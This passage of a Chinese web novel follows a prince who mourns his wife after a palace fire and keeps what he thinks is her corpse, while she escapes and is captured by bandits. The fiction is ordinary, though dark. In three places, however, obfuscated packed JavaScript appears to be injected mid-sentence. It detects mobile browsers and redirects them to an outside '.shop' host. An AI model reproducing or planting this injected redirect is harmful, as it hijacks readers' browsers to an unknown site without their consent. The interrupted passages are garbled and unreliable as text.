这一日风平浪静,寻常的帝都街巷,寻常的春风吹拂,就连街边的辛夷花都如此寻常。 他穿着火红的嫁衣,像穿着一副旁人的皮囊,凤眸里瞧不见任何娶亲的喜悦,底下人连祝福的话都不好跟他讲。 不过他上次娶正妃也是这般神情。 纳妾的流程复杂,但沈绥接了成静仪之后,不用拜堂,只需要让成静仪给正妃磕头敬茶即可。 成静仪坐在小轿子里,这轿子比前世嫁给沈珩要小不少,不过她不在意,她只在意最后的结局,为了过上好日子,她做出点牺牲忍让也没什么。 沈绥在将军府完成了一系列礼仪之后,骑着马在前面,夹道两侧是如浪潮般的欢呼和祝贺,皇族娶亲,布衣百姓跪了一地。 他在几乎能淹没他的嘈杂声中,依稀回想起了当年。 当年娶乌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462717|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春的时候,好像和今日一样,却又很不一样。 都说他们令世人不齿,这桩婚事只是阴差阳错。而沈绥除了那夜的差错,在接下来的几乎一月时间内,都没有碰过乌春。 哪怕是新婚夜。 新婚那夜,他用喜秤挑开她的盖头,之后这柄寓意着称心如意的吉祥物就被他扔到了一边。 他还记得她那双怯生生望着他的眼,像只惶恐不安的小兔,不过,那双眼确实是好看的。 先前不曾细看,那夜就着满殿花灯红烛,才发觉,南疆女子生得娇美的传闻并非谣言。 她耳垂通红,两只手紧紧抓着膝盖上的布料,声音细若蚊呐,“殿下……” 沈绥漠然移开眼,打断她的话,“其它礼节就免了,你我本就只是阴差阳错,做对有名无实的夫妻便好。天色不早了,你今日已经沐浴过了,吃些东西后歇息罢。” 她的手抓得更紧,在他将要离开的时候,纤细的手指勾住了他的袖角。 像是为了自尊,也像是为了她背后南疆的尊严,她话里带着一股倔强,“可是我是殿下娶的正妃,若是不按照礼节来,是不是不太好?” 沈绥当时眉头便微微皱了起来,诚然,他并不喜欢处处遵守规矩的花瓶。 “你我做了什么,旁人又不知道,我已将毓宁宫封锁,下人也屏退,他们听不到这边的动静。” 乌春的脸更红,还来不及松开手,他已经抬臂,将袖子从她掌心拽了出去。 回想起来,那一夜她在逢春殿,他在宣阳殿,相安无事地度过了。 那夜对她来说,是冷清的。 这个正妃在一个月内都没有能够乱他的心绪。 失神之间,沈绥已经入了皇宫,还要走好长一段路才能到毓宁宫。 天是苍青的,像她毅然为他辩驳,拽着尚宫的鞭子不放的那日。 就是从那时候起,他才开始夜里到逢春殿去,之后,便戒不掉了。 后来他外出征战归来,她却像是换了一个人,那些约束她的条条框框都消失了,像是死物有了生命。她生着浑身的刺,是荆棘深处的赤蔷薇,他偏要将她的刺一根根拔下,像想要驯服一匹野马,要她乖乖听话,要她满心眼里都是他。 可她偏不,他不喜什么,她便做什么,存心膈应,存心戏弄。 原来她恨他。 恨就恨吧,索性一刀两断,她过她的快活日子,他纳一个妾室。她不爱他,他怎么可能卑微如泥地央求她的爱? 不知走了多久,还没到毓宁宫,却看见毓宁宫的方向升起滚滚黑烟! 沈绥几乎是瞬间反应过来,比宫人们都快——走水了! 身体比脑袋先一步做出反应,勒紧缰绳,骑马奔驰而去! 成静仪听到了急促的马蹄声,心里隐约有不好的预感,撩开帘子,问旁边的丫鬟,“怎么了?什么人敢在宫里这般飞驰?” 丫鬟面如土色,“小姐,毓宁宫好像走水了,殿下骑着马过去了……您恐怕要在此处侯一段时间了。” 成静仪恨恨咬牙,重重地靠回轿内。 40. 尸体 滚滚黑烟之下,逢春殿的方向闪烁着刺目的火光,像是此起彼伏的浪潮,在沈绥耳边喧哗着。 热浪扑面而来。 他忽然开始不受控制地颤抖,他有着常人难以理解的对火的畏惧,常人避火是因为灼烧的疼,而他畏火是因为甫一靠近火焰,便如同浑身被细密的针刺,仿佛那些火焰能凭空灼烧在他的肌肤上。 “走水了——快扑火!” “快,多打些水来!” 沈绥骑马入毓宁宫,在火光通天的逢春殿前猛地勒马,身体里似乎有一个叫嚣的妖怪要将他的皮撕开,强忍下额角暴起的青筋,苍白着脸抓住一个太监问:“她呢?到了哪一处宫殿避火?” 太监慌如乱麻,“奴才也不知,还未在毓宁宫中瞧见过娘娘的身影,不过您放心……” 话未说完,被沈绥一把甩开,“废物。” 沈绥拎来一桶水,连他自己都不可置信的下意识举动下,朝着逢春殿走去,越往前走,他耳边火燃烧的声音越发嘈杂,像是躲不开的诅咒。 他紧紧咬着牙,炙热的空气像一双看不见的大手紧紧捉住他,呼吸都变得困难,在泼出桶中水的同时,被两个太监猛地一拉,下一瞬,他方才站立的位置落下一根燃烧着的房梁。 “殿下当心!” “殿下您就歇着吧,让奴才们扑火,娘娘吉人自有天相,一定不会有事的!” 沈绥没有说话。 也许是生平第一次,他想求上天庇佑,护她一个平安。 沈绥沉声道:“再派一些人,去毓宁宫附近找三皇子妃,不见到人,誓不罢休。” “是。” …… 不知多久,火终于灭了。 沈绥一脚踹开挡路的焦黑木料,那一瞬,心里升起连自己都说不清的恐慌,他想,他是希望不要在这里找到她的。 也许是因为他手上沾过太多条人命,他做过太多坏事,神佛偏偏不如他的愿。 就在他一眼望见的地方,就在他的咫尺之间,一具焦黑的尸体被早已辨认不出的巨大木料压住,只露出碳黑的手和脚。 沈绥强忍下心中的寒意,与几个太监一同抬起木头。 尸体露了出来。 是个女子,身量与乌春一般无二,浑身都无一块好肉,沈绥沉寂着挪动她的时候,不知何处掉落出一支金簪,这是在火中能够完好无损的东西。 沈绥分明记得,这簪子是他送给乌春的。 “找到娘娘了吗?”他的嗓子像是被火灼烧过,嘶哑得可怕。 “回殿下,去搜娘娘的人到现在一个也没有回来……” 沈绥闭了闭眼,胸中摧枯拉朽的戾气登时翻涌如云,“都给我滚!” 他紧紧盯着这具尸体,眼也不眨一下,仿佛这样她就能活过来,渐渐的,他眼中的血丝越来越多,那双好看的凤眸猩红一片。胸腔之中闷出疼意,像是一点墨水在宣纸上晕染开,钝痛蔓延到浑身,他觉得呼吸都是疼的,五脏六腑仿佛被翻搅着。 沈绥从来没有想过,她这样的人,会就这么死在一场大火之中。 她不是很聪明吗?她不是敢处处跟他作对吗?为什么区区一场火就能夺走她的命? 怎么可能?! 她与他针锋相对的日子太久,他想要驯服她太久,他竟险些忘了,她原本也是一个身娇体贵的公主。 沈绥抱起尸体。 身若玉树的红衣新郎,双目赤红地抱着一具被烧得面目模糊的尸体,画面诡异得出奇。 有人战战兢兢问:“殿下,成小姐差人来问,何时可以入毓宁宫?” 沈绥听见这句话后,扫过一道冰冷的视线,仿佛一把刀,让问话的人一个哆嗦。 “让她回成府。她若要当侧妃,需要给……她磕头敬茶。礼仪未毕,婚礼不作数。” “这……”那人还想说些什么,瞧见沈绥那煞神似的模样,又不敢多讲,硬着头皮走了。 沈绥将尸体抱入宣阳殿,红衣像是一抹烈焰。 没人敢跟进去。 …… 接下来的几日,底下人都摸不清沈绥到底要做什么。 他让他们送来白色的绸缎,去满帝都寻可以防腐的药物,又买了华美精致的锦衣,就连尺寸都是他给的。 寻常的底下人进不去宣阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508856|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿,只有常安能够偶尔进去送些东西。 常安第一次对追随沈绥的选择生出了悔意。 他太疯了。 他进去的时候,宣阳殿中一片阴暗,哪怕是白日,由于窗户上笼了层纱,只有些微的弱光,门窗紧闭,就连空气都仿佛死了。 沈绥就隐在阴暗的角落里,身形与周边的阴影融为一体。 在他的面前,有微弱的光的地方,坐着一个人…… 哦不,准确地说是一具尸体。 那具尸体穿着华美的衣裙,艳丽如火的衣摆在地上长长地铺开,绣了百花金线,镶订了莹润珍珠,整个帝都恐怕能做出此等衣裳的,不超过两家衣庄。 裸露在外的部分,被白布紧紧缠绕,缠绕得太密,以至于看不出一点焦黑的痕迹。 如果不是知道三殿下将娘娘的尸体带入了毓宁宫,恐怕常安也要以为立在这里的是衣庄里为了展示衣裳专门做的人偶。 常安看着那尸体就犯怵。 沈绥正在雕刻一支玉簪。 常安是进去送饭的,放在了沈绥的旁边,道了声殿下请用膳,正打算走,沈绥忽然唤住他。 他淡然开口,“你忘了喊娘娘。” 常安遍体生寒,暗暗掐了自己一把,确定这不是噩梦,才竭力稳住声线道:“属下有罪。还请殿下和娘娘一同用膳,我这就去为娘娘取饭来。” 好在他跟了沈绥这么久,反应奇快。 往后的每一日,沈绥都会给尸体换一件衣裳,常安每日去的时候,都不重样。 第七日的时候,常安去送药,沈绥正吃饭,对面尸体前面也摆着一碗饭。甜点什么的,都堆在尸体的前面。 常安将防腐的药丸瓶子放下,“殿下,您要的药。” 由于跟尸体靠得近了些,他闻到一股淡淡的腐臭味。 即便是再好的防腐药物,也终究只是凡间之物,怎么可能让一具尸体停止腐烂呢? 常安强忍不适,退了下去,不知找谁劝一劝殿下好。 一边走,一边想,按照殿下这疯劲,指不定夜里还与尸体同榻而眠呢。 想想都让人瘆得慌。 41. 谢氏 到了第十三天的时候,宣阳殿中的尸臭味飘散到了门口,只要靠近,便能闻到。 下人们你看我我看你,谁也不敢去里面问一问沈绥,更不敢跟他提怎么处理娘娘的身后事。 沈绥却显得很平静,除了当时见到尸身的时候失态,这十三日以来,都同寻常时候无异。 正是这平静,让人觉得心慌。 像是风平浪静的海面,底下也许是疾风怒涛的漩涡。 常安到底担心沈绥同一具尸体在一处呆得太久,染上什么病症,便壮着胆子进去,远远地提醒道:“殿下,成将军说了,让您节哀,成二姑娘的事不必您介怀,日后再议。” “节什么哀?”低哑的声音传来,像是一泉见不得光的暗流。 常安头上冒冷汗,“殿下,逝者已往,生者如斯,还是让娘娘入土为安罢。” 没有回应。 死寂像徐徐铺开的绢帛在殿中蔓延。 常安看不清沈绥的面容,自然不知道他的神情,壮士断腕般提高了音量,“殿下,娘娘在十三日以前的那场火中,薨了。” 阴影里的人动了,他站起身来,从黑暗中一步步走出,光影从他的额角寸寸移到脸颊,露出一张消瘦不少的脸庞,眼窝凹陷,下巴上都起了青茬。 在光影落在他眼尾的红痣上的一瞬,常安还以为他见到的不是人,是鬼。 “你再说一遍。” 常安跪下来,“殿下,您醒醒吧,娘娘早就薨了,让她安息罢!” 沈绥的眼渐渐变得猩红,“不可能,她不可能死!她那么恨我,还没来杀我,怎么可能死了!她不是喜欢沈珩吗?她还没和沈珩呆过多久,她怎么舍得死?” 他像是逐渐暴怒的野兽,浑身上下都变得躁郁。 “殿下,若是娘娘没死,这具尸身为何同娘娘的身量一样?若是娘娘没死,那为何三十号人在宫中搜了三遍也没发现她的踪迹?若是娘娘没死,为何会一点消息都找不到?” 气血似乎往沈绥的天灵盖灌去,他瞬间头疼欲裂,仿佛置身于一片火海之中,他眼前的景象渐渐变换,从凄冷空旷的宫殿,变换成了燃烧着熊熊烈焰的废墟,烈焰之中有乌春的身影。 他竭力朝她伸出手,想要抓一抓她,却浑身不能动弹,只能眼睁睁看着她哭泣着、流血着、整个身体都与火焰融为一体着,死去了。 像是针尖挑破泡沫,他眼前的景象片片碎裂开来,一阵头晕目眩,再次回到了宣阳殿。 脚下是常安在唤他。 原来是幻觉吗。 可现在,透过半开的大门,望见那坍塌的逢春殿,他不得不承认,她真的死了。 原来这场火焰,带走的不只是她,还有他的心,他胸腔中的那一块肉,像是逢春殿,变得空空如也了起来。 沈绥闭上眼,深深吸着气,喉咙都疼得抽搐,一行血笔直地从嘴角流了下来。 “殿下!” “传下去,三日之内,将她下葬,葬在毓宁宫的后院。让他们查,查起火的原因。再将库房里的好东西挑一半出来,送给成将军。通报父皇,南疆公主已死,派遣使节前往南疆哀悼。” “是。”常安一边应着,一边觉得三殿下这人实在太可怕。 这段时日发疯不说,发完了还能如此冷静地将所有的事情都吩咐下去,极端的理智和疯病,竟然也能和谐地共处在他身上。 他试探着问,“要不要传太医来?” 沈绥压根没理会嘴角的血,“不必。” 常安退出去。 沈绥走到大殿中央,跌坐了下去,在昏昏沉沉的日子中,他数不清自己睡过多少个时辰,倦意像滚滚洪流袭来,仿佛短短十几日耗费了他半生的时间,整个人疲惫得如同苍老虬曲的树枝。 他做了一场大梦。 …… 西幽同大梁打了十数年,也没分出个胜负,从上一个朝代开始,西幽便形同一块啃不下的硬骨头,让大梁皇帝每日头疼。 最精锐强大的兵力,一部分用来守护疆土,另一部分便用来与西幽作战。 簪缨世家谢家,历代忠良,男儿皆为武将,到了谢清之这一代,便是辅佐沈氏登基的定国功臣。 谢清之有一个入宫为妃的妹妹谢阮阮,有一个出身并不显赫的寒门夫人王氏,膝下有一个儿子,还未取字,名唤谢简戈。 谢简戈的名字是谢清之亲自取的,据说是希望儿子这一生简简单单就好,只需做自己想做的,若厌倦官场尔虞我诈,便不做官,若厌倦战场血流成河,便不从武。由于简与减同音,后面加了一个戈字,也是谢将军希望世上少一些战争。 谢简戈五岁的时候被封为世子。 五岁的孩童,本应是天真不谙世事的年纪,却有着超乎常人的聪慧,被很多人笑称为神童。 他却不喜欢这个称呼。 这世上可没有神仙。 娘亲每次都盼着爹爹早日征战归来,爹爹在外征战不要受伤,求神拜佛的,可从来没有哪一次神佛听到她的愿望并实现。 谢简戈在同龄人之中,虽然沉默,但话不是最少的,偶尔还会拉着几个勋贵子弟打大雁玩,有人问他日后想要做什么,他很认真地用小小的手托着下巴,大人似的道:“本世子一定要在世上立一片天地出来,人活一遭,万不可惶惑终日,只做个平庸之辈。” “我若从文,必要成大家;我若习武,必要成定国将军;我若为仕,必要……” 他没再说下去,小小年纪却很敏锐,有些话是不能说的,于是笑笑,确凿道:“总之,我可是要做大事的人!” 旁人都笑,说谢家出好男儿,没有哪一代是平凡之人。 帝都不少贵族子弟,其实都喜欢同谢简戈一块玩。男孩儿崇拜他聪慧,崇拜他做事目的明确、游刃有余的利落,女孩儿喜欢他生得好看,唇红齿白的人,谁看了都想亲近。 再加上谢清之和王氏都是和善亲切的人,每次去谢府还能讨不少零嘴儿,谢府隔一段时间便充斥着孩子们的笑声。 谢简戈在五岁之前,过的都是锦衣玉食的贵公子生活。 直到五岁的时候,他打算随父亲一道去塞外,磨砺磨砺自己。 “娘,这次我打算同爹爹一起上战场,我如今虽年纪小,力气不足,不能亲自在战场上提刀杀人,但早日身处兵营,见一见士兵寻常是怎么 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秋天本就天干物燥,落叶萧萧,火势一旦蔓延开,便难以停止! 当时火烧得分不清让人分不清日夜,就连聪慧如谢简戈,他也分不清到底烧了多久,只看见父亲母亲因为火走散在山林间,哀嚎遍野,母亲带着他一路跑,脚下焦黑一片的不知是土壤还是谢家人的尸骨。 王氏要背着他,他坚持自己走,腿上不知被烧了多少个泡,衣裳早已遮不住身体,后背更是被一根燃烧着的树枝划过,燎出一条终生难以湮灭的伤疤。 到了后来,他们幸运地找到了一湾河流,那河流的水都是温的。 “娘!快跟我一起跳进去!”谢简戈在火中大喊着。 可是王氏早就被烧干了力气,她身上流的血都是黑色的,她对儿子说,“一定要活下去啊!一定要活下去!” 他想不明白,为什么火的颜色和血的颜色那样相像? 五岁的孩子,在河流中游着、游着,到了后来,只剩下麻木的本能,不知道山火烧了多久,只知道他一直游到几乎要累死在水中,那水流才凉下来,然后失去了意识。 谢简戈被附近的村民捞出水,养了一段时间后,伤一恢复,就一个人踏上了回帝都的路,帝都路途遥远,路上也有经过悍匪的地方,他六岁不到的年纪,却生生一个人行了七百里的路途。 他没有悲痛的时间,也没有哀悼的权利,他一个人身上,背了谢家军九百多号人的命,他要好好活着,为他们报仇偿命。 还没到帝都,路过青州边陲,距离帝都还有五百里的时候,遇见了一块碑,碑上写着诸如世道不公、谢家忠良、不该亡于天命的字样的。 那就是崔公公立的碑。 青州那块地,也是当年谢将军对崔公公有救命之恩的地方。 之后他改头换面,成为被贬的才人的儿子,姓了沈,从此人称一声三殿下。 …… 在十七年后的一个春日,他想,为何上天要让她也死于一场火? 他一生所有的温存与灿烂,都消失在大火中。 42. 山匪 不能死。 他还不能死,自那场大火,他的命就不是他自己的了,他要活着,屠陈家满门,然后将这江山从沈贼手中夺回来! 两片鸦羽似的睫毛颤了颤,沈绥睁开眼。 推开门走出去,竟然已经是破晓之际,天是蟹壳青的,他却觉得阳光刺眼极了。 活着罢,哪怕是见不得阳光,也活下去。 常安办事很快,一晚过去,已经带着人在后院中挖了一个坑,沈绥看着那坑,像是有虫在啃食他的心脏的血肉,阵阵的疼。 阿春,你就算是死了,也得在我身边。 …… 远在百里外的乌春打了个喷嚏。 惊莲连忙将她身上的披风裹紧了一些,“您是不是冷了?” “我没事,前面路还长着呢,指不定会染上什么病呢,不必大惊小怪。” “您这话说的可不好,我们一定能安然回南疆的。” 乌春捧着地图,“我算过日子,咱们现在走了十五天,按照泽安王给的地图,十天到达帝都边陲,五天前路过定水城,现在应该在安乐镇,还有七天出宁州。过了宁州之后呢,还要穿过四个州,只要到乐州,就离南疆很近了,届时一过天圣山,就会有哥哥的人马来接我们。” “幸亏有泽安王,”玉梨数着她们剩下的盘缠,还有很多,“不然真不知该怎么回去。” 乌春却道:“难的其实不是从帝都到南疆,难的是悄无声息从大梁皇宫中逃出去,尤其是在沈绥的眼皮子底下。不过也还是多亏了泽安王,在后山有一条无人知晓的密道。” 当日趁着毓宁宫中的人都在忙着筹备成静仪要嫁进来的事,乌春穿着黑衣,放火烧了逢春殿之后,一路在沈珩派的人的掩护之下,到了后山,从密道中穿过。 惊险的是,刚一穿出去没跑多久,就碰见了巡逻的萧怀文! 萧怀文见她们形迹可疑,便捉了人,一把扯下乌春的面巾,看清人后愕然道:“三皇子妃?听说毓宁宫走水了,你为何会在此处?” 乌春急得百口莫辩,“事情不是你想的那样,眼下三言两语说不清,你就当今日从未看见过我,就当是我已经死了罢,萧将军,请放我走。” 萧怀文是个木愣子,当即皱眉,“不可,我不能将你放走,这可是天大的罪过。” “你不说,旁人便不会知道!”好不容易能够逃的机会,乌春怎么容许被萧怀文给毁了,气急之下厉声道,“你若不放我走,我就死在你面前!”一面说着,一面从袖中取出那把防身的匕首,“我若死在你面前,你一定会被问责,按照沈绥的性子,定要将你刀刀凌迟;可你若放我走,天知地知你知我知,谁也想不到你头上!你难道想死吗?!” 萧怀文不为所动,“不行,恕臣无法从命,您不能走。” “萧怀文!”后面传来一声清脆的呼唤。 竟然是沈璎来了。 沈璎对乌春的出现并没有多少意外,只对萧怀文道:“你放了她,你若不放,我明日便请旨父皇,与呼尔善部落和亲!父皇早就有这个打算,只是舍不得我,才让我在大梁留到现在,只要我请旨,我便永远地离开大梁,在呼尔善了却余生。” 萧怀文沉怒道:“你不准去!你疯了?呼尔善是什么地方你难道不知?他们水土贫瘠,民风野蛮,吃的都是生的血肉,富饶的时候吃牲畜,灾荒的时候人吃人!男人若死了,弟弟继承他的女人,弟弟若也死了,便是儿子将他的母亲作为自己的女人,礼俗令人恶寒!那不是你能去的地方。” 沈璎反而笑了,“你放不放她?” 萧怀文当即就割断了乌春身上的绳子。 乌春来不及给沈璎道谢就跑了,想了想,这恐怕是在大梁皇宫唯一的遗憾。此去一别,余生再也无法同沈璎相见了。 一想到沈璎若是同上一世一样,在与呼尔善部落和亲前夕,撞死在丽姝宫的房梁上,她的心就忍不住作痛。 嫁去呼尔善,是死路一条;留在大梁,也不知沈绥之后会不会杀她,也是凶多吉少。 马车颠簸了一下,乌春回过神来,车停了,乌春撩开帘子问前头车夫,“怎么了?” “姑娘啊,这车轮子好像碾到了石头,轮子坏了嘞,没法走了。” 马车行到了山中,从这座山穿过去是出安乐镇最快的路,但山路难行,路上颠簸不说,还有可能迷路,遇见野兽。 “真的不能走了吗?轮子不能修?” “不能嘞,轮子断了几根木头,没法修了。” 乌春只好从车上下来,打算和惊莲玉梨一起在山中过夜。 她们还在山脚下,此处野兽不会来,临时搭起了一个草篷子,捉了几条鱼烤了吃,在篷中睡觉。 睡到后半夜的时候,乌春被窸窣动静惊醒,透过树枝的缝隙,看见远处有泱泱火把,一大群人竟然往山里来了。 乌春连忙出了草棚,惊莲刚好也醒了,两个人将熟睡的玉梨叫醒后,躲到远处。 最前面的汉子脖子上挂着一个黑色吊坠,看不清是什么,却能隐约知道那代表着首领的地位。 那群男人各个生得彪悍粗犷,皮肤是古铜色的,不少人脸上还有疤痕,眉眼生的浓郁,看样貌竟然像是…… 西幽人。 这里怎么会有西幽人? 乌春疑惑之时,他们正要经过她们搭起的草棚,她一颗心都提到了嗓子眼,生怕他们察觉出什么异样,心如鼓点急促的时候,他们停下了脚步! 有人跟最前面的首领说了几句话,首领做了一个手势,一群人便四散开来! 不好! 乌春拉着惊莲和玉梨便跑,可林中枝叶多,女儿家怎么跑得过彪悍的西幽人,跑出十几步便被发现,几乎在瞬息间,就有汉子将她们绑了起来。 不必看他们那贪婪垂涎的恶心眼神便能想到,这群山匪抓住女人会做什么。 尤其是乌春生得那般貌美。 要不是首领拦着,恐怕早就有人伸手摸了上来。 这时候乌春倒是想到了沈绥,起码沈绥长得好看身材也好,身子还干净。若是将跟沈绥做那事当成是被狗咬了,那这些人就是猪狗不如! 首领让人搜了她们的东西,一看那些盘缠和首饰衣物,便确认了这几个不是寻常女子,那个长得最好看的是主子,其余两个是丫鬟。 富贵人家,招惹了容易惹上麻烦,但可以借机讹上一笔。 首领明显是不会大梁官话,点了点后面一个男子,男子走上前,蹲在乌春面前。 这个男人不是西幽人的长相,应当是寻常大梁男子,眉目利落英挺,麦色的肌肤,额角一条浅浅的疤痕,不至于破相,反倒有一种桀骜的凶性,身量也高大,似乎比沈绥还高一点,甫一靠过来,便似乎有热的带着雄性气息的风拂过来。 让姑娘家觉得害怕。 乌春不自觉地往后靠了靠。 “我叫郑周,你不用怕我,只需要好好回答我的问题。”他嗓音略带嘶哑。 乌春眨了眨眼,咬着唇点头。 “安乐镇没有你这样的富贵人家,你从哪里来?” “帝都。” “帝都的哪户人家?” 乌春不说话了。 “不说,就杀了你。” 乌春怕他们捅到帝都去,让沈绥听到什么风声,发现端倪,又不敢说自己出身寒门,怕他们觉得她不值钱,要胡来,便道:“我是一个将军的女儿。” “帝都将军的住宅那么多,你是哪一户?” 乌春又不说话了。 郑周开始擦刀,“不说是吧?” 乌春将唇都咬出血,一副毫不畏惧宁死不屈的模样。 郑周见状,起身同首领讲话,首领倒是毫不意外,手指一点,乌春就被抓起来,被推着走。 玉梨尖叫:“你们要带我们去哪?!” 乌春回头,冲她眨了眨眼,玉梨疑惑,惊莲一眼就看懂了,捏了捏玉梨的手,玉梨一路嘟嘟囔囔。 她们被带到了一间简陋的屋子。 准确的说,是他们的柴房。 墙角结满蜘蛛网,灶台上的铁锅生锈,有饭菜的馊臭味,地上还有软臭的烂泥,就算是玉梨和惊莲两个做丫鬟的,也从来没有在这种地方呆过。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533744|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 门被关上了,一丝光线也透不进来,外面守着两个人,防止她们逃跑。 “殿下,您刚才的意思是,我们还有得救?” “那个叫郑周的大梁人,塞给了我一个东西。” 乌春将手一翻,竟然是块小铁片。 虽然小,却很锋利,乌春由于捏着它捏得太紧,手都泛红,隐隐可见伤口。 “那他会来帮我们吗?” “不知道,只能等。他是大梁人,应该跟那群西幽人不是一伙的,否则也不会帮我们……说不定是细作呢。” 这里环境太差,乌春纠结了很久才一屁股坐了下来,到了天亮的时候,门外有了动静,守门的两个人似乎在跟一个人交谈些什么,之后门打开了。 刺眼的光涌进来。 郑周带来了一个盒子,盒子里面有几个馒头,一壶水。 他用手抓起馒头,递到乌春嘴边。 乌春皱眉。 也不是她矫情,只是这馒头做得也太粗糙了,上面还有些黑点,都不知道是不是发了霉的面做的,更何况,还被郑周用手抓着。 他的手比沈绥的手上的茧子都多,也粗一圈,黑上不少。 “不吃就饿死吧,你以为你在这里能活多久?”郑周将馒头收进盒子里,打算走。 乌春有心套话,便道:“谁说我不吃了!你回来!” 郑周又重新蹲下身来,将馒头递过去,乌春张开嘴咬,她一边吃,郑周一边皱眉。 他嫌弃她吃东西也太细嚼慢咽了,怎么这么小的口,他一口能顶她十口。 不过她的嘴唇,真红啊。 “你会放我们走吗?”乌春问。 “我会放,但要看你们的命。之前像你们这样的,也不是没有,但是要么因为太吵闹天天哭着不吃东西,最后没力气死了,要么是因为顶撞首领被扔给几个男人轮着□□,不是累死就是自杀了。”郑周语气寻常。 话也太粗俗了,乌春又皱了皱眉头,馒头吃着都反胃。 “什么时候放我们走?怎么放?你为什么要当细作?谁派你来的?” 郑周反倒一笑,“你话真多。胆子倒是真不小。” 乌春的馒头快吃完了,吃到靠近郑周手指的地方就不肯动嘴了,郑周拎起水壶,对着她的嘴倒。 乌春被呛得咳嗽,透不上气,郑周看得好笑,胸腔中闷出几声笑,他的笑声也是浑厚的。 “这么娇气,你觉得你能逃多远?”郑周伸手抹去她嘴角的水渍。 乌春却偏过头去,嫌弃他手脏,“你别碰我!” 郑周掸了掸指尖。她的脸比豌豆尖还嫩,嫩得能掐出水。 “你有没有夫君?” 乌春顿了一下,“我没有。” “为了逃婚跑出来的?” 乌春语气僵硬,“跟你没关系。” 郑周道了声“有意思”,就出去了。 玉梨道:“喂,你别走啊,我还没吃东西呢。” 山一般高大的男人背对着她们道:“又不是没东西解绳子,你自己解了绳子吃呗。” 乌春一晚上没怎么睡,招呼着惊莲和玉梨吃了东西,就靠着墙睡过去了。 梦里,是无边无际的火,沈绥在火中流了两行血泪,那双望着她的眼,满是绝望与痛苦。 怎么又梦见他了? 乌春醒来的时候,心里竟然有淡淡的惆怅,只当是在外漂泊遇见山匪心情不爽利。 谁也说不清乌春为什么一定要在沈绥要娶成静仪的时候放火。 为什么不是前一天、前两天、或者后一天? 就算是当天毓宁宫中的人无暇顾及她,她逃跑更容易些,可这样的时候分明挺多的,为什么不挑沈绥公务繁忙的时候?为什么不挑皇宫贵族举办宴会的时候? 那日沈绥即将回到宫中,她逃跑的可能性甚至更小一些。 为了报复吗?为了她不想看见成静仪出现在毓宁宫中吗? 乌春不可能承认,也不敢细想。 郑周给乌春擦去嘴角水渍的时候,毓宁宫中刚刚为三皇子妃下葬,填上最后一铲土。 43. 郑周 郑周并不是天天都来,有时候外面看守她们的男人会投进来垂涎的眼神,仿佛有恶心的臭虫在身上爬,让她们头皮发麻。 郑周每次来都给乌春喂饭,一开始吃的是馒头,后来馒头里头加了咸菜,再后来是白粥和菜叶子。 乌春吃着这些粗糙的东西,没两天就瘦了一圈。 郑周道:“你是麻雀吗?就吃这么一点?不瘦才怪。” “你们这里的东西又不好吃,放在平时我根本不会多看一眼,要不是为了活下去,我连吃都不想吃呢。”乌春没好气道,“你能不能松开我?我自己有手,不要你喂我。” 娇滴滴的贵族小姐就是难伺候,郑周这么想着,给她松开了绳子,乌春站起身来活动身子,郑周发现她身量才刚刚到他的肩膀。 “你什么时候跟他们混在一起的?你跟他们不是一伙的,打算将他们报给朝廷,还是就这么潜伏在他们里面救人?” 她人可真小,说话的声音也小,要是他耳力不好,都听不到她在说什么。 郑周打量着她道:“报给朝廷?笑话,当今朝廷连跟西幽打仗都要从村子里抓人,哪里会管这些土匪?能救几个人是几个人呗。” “你看什么呢?”他的眼神太直白,当惯了土匪的,盯着她身上的曲线看,乌春往后退一步,微缩起身子。 郑周毫不避讳,“你不是没有夫君?怕什么?现在打听我的来历,那你呢?不会真是从家里逃婚来的吧?这里离帝都这么远,莫不是和你的情郎私奔?” 乌春才不想和他多废话,下巴转过去,“你什么时候放我走?” 郑周仍然盯着她,“快了。” 乌春也不知道他说的快了是几时,在柴房里的日子实在是不好过,夜半三更经常被老鼠的声音吓醒,一连好几日乌春都梦见了沈绥。 时而梦见在毓宁宫的过去,那些孤寒凄冷的夜,沈绥提着一盏灯在风雪中归来,他们像一对恩爱的夫妻在月下相拥;时而梦见一场大火,沈绥在火中,一寸寸烧成了灰,他浑身都是血淋淋的,让她根本不敢看他。 到八日之后,乌春已经形容憔悴,下巴削尖,首领推门而入,带着郑周,他们交谈了几句后,郑周把人抓起来,和两个汉子一起推着她们走。 趁着和郑周走在前面的功夫,乌春小声问:“要去哪儿?” “你说你是将军家的女儿,空口无凭,也没法拿你要钱,只能砍你一根手指头,送去你家了。” 乌春却很清醒,“你胡说,要砍手指头还用得着我们走这么远?他们这种人,要杀要剐不过是挥一挥刀的事情。” 